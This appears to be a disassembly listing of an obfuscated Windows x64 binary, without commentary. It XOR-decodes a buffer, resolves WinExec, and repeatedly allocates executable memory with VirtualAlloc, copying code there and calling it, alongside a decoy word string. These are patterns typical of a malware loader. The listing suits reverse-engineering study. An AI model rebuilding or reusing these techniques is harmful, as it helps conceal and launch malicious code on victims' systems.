lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm10
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x80
jl 0x140017c80
cmp r9d, 0x84
jge 0x140017e8a
movsxd rax, r9d
lea r10, [r11 + rax*2]
nop dword [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x3e
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
sub cx, r8w
add cx, r9w
add cx, cx
add cx, 0x1d
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x84
jl 0x140017e30
mov rdx, r11
lea rcx, [rbp + 0x24d0]
call fcn.140021480
mov rdx, qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0xa58]
call fcn.1400213f0
mov rsi, rax
mov dword [rbp + 0xa0], 0
lea rcx, [rbp - 0x73]
call fcn.1400048c0
mov rdi, rax
lea rdx, [rbp + 0xa60]
lea rcx, [rbp + 0x24d0]
call fcn.140021440
mov rbx, qword [rax]
lea rdx, [rbp + 0xa68]
lea rcx, [rbp + 0x24d0]
call fcn.140021460
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x11d0]
call fcn.140021a60
nop
mov rcx, rax
call fcn.140004ea0
mov qword [rbp + 0x4c0], rax
mov edx, 0x18
lea rcx, [rbp + 0x2688]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2688]
call fcn.140009f70
nop
xor ecx, ecx
lea rbx, [0x140021ba0]
mov rax, qword [0x140069ed0]
test rax, rax
je 0x140017f77
nop dword [rax]
cmp rax, rbx
je 0x140017f66
inc ecx
mov rax, qword [r13 + rcx*8 + 0x69ed0]
test rax, rax
jne 0x140017f50
jmp 0x140017f77
mov r9, qword [r13 + rcx*8 + 0x6a200]
test r9, r9
jne 0x14001805f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
je 0x14001803e
mov rax, rbx
mov rcx, r9
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140017fb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006be48]
mov qword [r13 + rax*8 + 0x69ed0], rbx
mov qword [r13 + rax*8 + 0x6a200], r9
inc rax
mov qword [0x14006be48], rax
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x4c0]
mov rcx, qword [rsi]
call r9
nop
lea rcx, [rbp + 0x2688]
call fcn.140009fa0
nop
lea rcx, [rbp + 0x11d0]
call fcn.140004eb0
lea rcx, [rbp + 0x15d7]
call fcn.140001fd0
mov edx, eax
lea rcx, [rbp + 0xf2e0]
call fcn.1400048e0
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x15b0]
call fcn.1400048d0
movaps xmm2, xmm13
movaps xmm1, xmm14
lea rcx, [rbp + 0x1908]
call fcn.140021f00
mov dword [rsp + 0x60], 0
movsd qword [rsp + 0x68], xmm15
mov edx, 0x18
lea rcx, [rbp + 0x1860]
call fcn.140004660
lea rcx, [rbp + 0x1860]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x4c8]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x1e0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x1860]
call fcn.140021e30
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x4c8]
call fcn.1400086c0
lea rcx, [rbp + 0x4d0]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x1e8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x1860]
call fcn.140021e30
nop
lea rcx, [rbp + 0x1e8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x4d0]
call fcn.1400086c0
lea rcx, [rbp + 0x4d8]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x1f0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1860]
call fcn.140021e30
nop
lea rcx, [rbp + 0x1f0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x4d8]
call fcn.1400086c0
lea rcx, [rbp + 0x4e0]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x1f8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x1860]
call fcn.140021e30
nop
lea rcx, [rbp + 0x1f8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x4e0]
call fcn.1400086c0
lea rcx, [rbp + 0x4e8]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x200]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x1860]
call fcn.140021e30
nop
lea rcx, [rbp + 0x200]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x4e8]
call fcn.1400086c0
lea rcx, [rbp + 0x4f0]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x208]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x1860]
call fcn.140021e30
nop
lea rcx, [rbp + 0x208]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x4f0]
call fcn.1400086c0
lea rcx, [rbp + 0x24c0]
call fcn.140009fc0
mov dword [rbp + 0xa4], 0x64
lea rdx, [rbp + 0xa4]
lea rcx, [rbp + 0xa70]
call fcn.1400220f0
mov r8, rax
lea rdx, [rbp + 0x24c0]
lea rcx, [rbp + 0x1a00]
call fcn.140022100
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2d20]
call fcn.140005020
nop
lea rcx, [rbp + 0x528]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x1a00]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
je 0x1400192e0
lea r12, [rbp + 0x15798]
mov r15d, 0x2710
nop dword [rax + rax]
lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x15b0]
call fcn.140007450
lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x15b0]
call fcn.140007450
movsxd rbx, eax
lea rcx, [rbp + 0x1860]
call fcn.140021e20
mov rcx, rax
xor edx, edx
mov rax, rbx
div rcx
movsxd rdx, edx
lea rcx, [rbp + 0x1860]
call fcn.140021400
mov rcx, rax
call fcn.140021e10
mov rdi, rax
mov rcx, qword [rax]
mov rbx, qword [rcx + 8]
lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x15b0]
call fcn.140007450
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
mov edx, 0x18
lea rcx, [rbp + 0x26a0]
call fcn.140004660
mov rdx, r12
lea rcx, [rbp + 0x26a0]
call fcn.140009f70
nop
xor edx, edx
mov r8d, 0x19
lea rcx, [rbp + 0x24c8]
call fcn.1400048d0
lea rcx, [rbp + 0x2d20]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2d20]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14001844f
nop dword [rax]
lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x24c8]
call fcn.140007450
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x140018430
lea rcx, [rbp + 0x26a0]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x17e8]
call fcn.140004660
lea rcx, [rbp - 0x71]
call fcn.1400048c0
mov r8, rax
mov edx, 0x64
lea rcx, [rbp + 0x17e8]
call fcn.140004800
nop
lea r8, [rbp + 0xf2e0]
lea rdx, [rbp + 0x15b0]
lea rcx, [rbp + 0x1170]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0xa78]
lea rcx, [rbp + 0x17e8]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xa80]
lea rcx, [rbp + 0x17e8]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0xa88]
lea rcx, [rbp + 0x17e8]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xa90]
lea rcx, [rbp + 0x17e8]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
mov edx, 0x18
lea rcx, [rbp + 0x26b8]
call fcn.140004660
mov rdx, r12
lea rcx, [rbp + 0x26b8]
call fcn.140009f70
nop
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x24a8]
call fcn.1400048d0
lea r8, [rbp + 0xf2e0]
lea rdx, [rbp + 0x24a8]
lea rcx, [rbp + 0x1240]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0xa98]
lea rcx, [rbp + 0x17e8]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x17e8]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xaa8]
lea rcx, [rbp + 0x17e8]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xab0]
call fcn.140021780
lea rdx, [rbp + 0xab8]
lea rcx, [rbp + 0x17e8]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xac0]
lea rcx, [rbp + 0x17e8]
call fcn.140021420
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021810
nop
lea rcx, [rbp + 0x26b8]
call fcn.140009fa0
lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x1908]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x1908]
call fcn.140021f10
movsd qword [rbp + 0x1a10], xmm0
movsd qword [rbp + 0x1a70], xmm6
mov edx, 0x18
lea rcx, [rbp + 0x2748]
call fcn.140004660
mov rdx, r12
lea rcx, [rbp + 0x2748]
call fcn.140009f70
nop
lea rdx, [0x14002dcf0]
lea rcx, [rbp + 0xac8]
call fcn.1400213f0
mov r14, rax
lea rdx, [0x14002e260]
lea rcx, [rbp + 0xad0]
call fcn.1400213f0
mov rsi, rax
lea rdx, [0x14002e7e0]
lea rcx, [rbp + 0xad8]
call fcn.1400213f0
mov rdi, rax
lea rdx, [0x140009f30]
lea rcx, [rbp + 0xae0]
call fcn.140021430
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x26d0]
call fcn.140004660
mov rdx, r12
lea rcx, [rbp + 0x26d0]
call fcn.140009f70
nop
xor ecx, ecx
mov rdx, qword [0x14006a520]
test rdx, rdx
je 0x14001872e
lea rax, [0x140021750]
cmp rdx, rax
je 0x14001871d
inc ecx
mov rdx, qword [r13 + rcx*8 + 0x6a520]
test rdx, rdx
jne 0x140018700
jmp 0x14001872e
mov r8, qword [r13 + rcx*8 + 0x69230]
test r8, r8
jne 0x140018818
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400187f0
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018762
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6a520], rcx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1a10]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x26d0]
call fcn.140009fa0
addsd xmm6, xmm7
movsd qword [rbp + 0x510], xmm6
lea rdx, [0x14002ed10]
lea rcx, [rbp + 0xae8]
call fcn.1400213f0
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x26e8]
call fcn.140004660
mov rdx, r12
lea rcx, [rbp + 0x26e8]
call fcn.140009f70
nop
xor edx, edx
mov rcx, qword [0x140067c30]
lea r12, [0x140021750]
test rcx, rcx
je 0x1400188b7
nop dword [rax]
cmp rcx, r12
je 0x1400188a6
inc edx
mov rcx, qword [r13 + rdx*8 + 0x67c30]
test rcx, rcx
jne 0x140018890
jmp 0x1400188b7
mov r8, qword [r13 + rdx*8 + 0x6ce10]
test r8, r8
jne 0x14001899f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14001897e
mov rax, r12
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400188f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r12
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a70]
mov rcx, qword [rbx]
call r8
movaps xmm10, xmm0
lea rcx, [rbp + 0x26e8]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2700]
call fcn.140004660
lea r12, [rbp + 0x15798]
mov rdx, r12
lea rcx, [rbp + 0x2700]
call fcn.140009f70
nop
xor ecx, ecx
mov rax, qword [0x14006d450]
lea rbx, [0x140021750]
test rax, rax
je 0x140018a27
nop dword [rax]
cmp rax, rbx
je 0x140018a16
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x140018a00
jmp 0x140018a27
mov r8, qword [r13 + rcx*8 + 0x68be0]
test r8, r8
jne 0x140018b0f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140018aee
mov rax, rbx
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018a60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
mov qword [r13 + rax*8 + 0x6d450], rbx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x510]
mov rcx, qword [rdi]
call r8
movaps xmm9, xmm0
lea rcx, [rbp + 0x2700]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2718]
call fcn.140004660
mov rdx, r12
lea rcx, [rbp + 0x2718]
call fcn.140009f70
nop
xor ecx, ecx
mov rax, qword [0x140067c30]
lea rbx, [0x140021750]
test rax, rax
je 0x140018b89
cmp rax, rbx
je 0x140018b78
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140018b62
jmp 0x140018b89
mov r8, qword [r13 + rcx*8 + 0x6ce10]
test r8, r8
jne 0x140018c6f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140018c4e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018bc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a70]
mov rcx, qword [rsi]
call r8
movaps xmm8, xmm0
lea rcx, [rbp + 0x2718]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2730]
call fcn.140004660
mov rdx, r12
lea rcx, [rbp + 0x2730]
call fcn.140009f70
nop
xor ecx, ecx
mov rax, qword [0x140067c30]
test rax, rax
je 0x140018ce7
nop dword [rax + rax]
cmp rax, rbx
je 0x140018cd6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140018cc0
jmp 0x140018ce7
mov r8, qword [r13 + rcx*8 + 0x6ce10]
test r8, r8
jne 0x140018dcf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140018dae
mov rax, rbx
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018d20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a10]
mov rcx, qword [r14]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2730]
call fcn.140009fa0
mulsd xmm6, xmm8
addsd xmm6, xmm9
subsd xmm6, xmm10
lea rcx, [rbp + 0x2748]
call fcn.140009fa0
addsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
lea rdx, [0x140009f50]
lea rcx, [rbp + 0xaf0]
call fcn.140021e00
mov rbx, rax
mov dword [rbp + 0xa8], 3
lea rdx, [rbp + 0xf2e0]
lea rcx, [rbp + 0x1908]
call fcn.140021f10
movsd qword [rbp + 0x518], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2760]
call fcn.140004660
mov rdx, r12
lea rcx, [rbp + 0x2760]
call fcn.140009f70
nop
xor ecx, ecx
mov rax, qword [0x14006c170]
lea r14, [0x140021830]
test rax, rax
je 0x140018eaa
cmp rax, r14
je 0x140018e99
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x140018e83
jmp 0x140018eaa
mov r9, qword [r13 + rcx*8 + 0x6b7f0]
test r9, r9
jne 0x140018f8f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
je 0x140018f6e
mov rax, r14
mov rcx, r9
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018ee0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], r14
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0xa8]
lea rdx, [rbp + 0x518]
mov rcx, qword [rbx]
call r9
movaps xmm6, xmm0
lea rcx, [rbp + 0x2760]
call fcn.140009fa0
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
lea rdx, [0x140009f60]
lea rcx, [rbp + 0xaf8]
call fcn.140021df0
mov rbx, rax
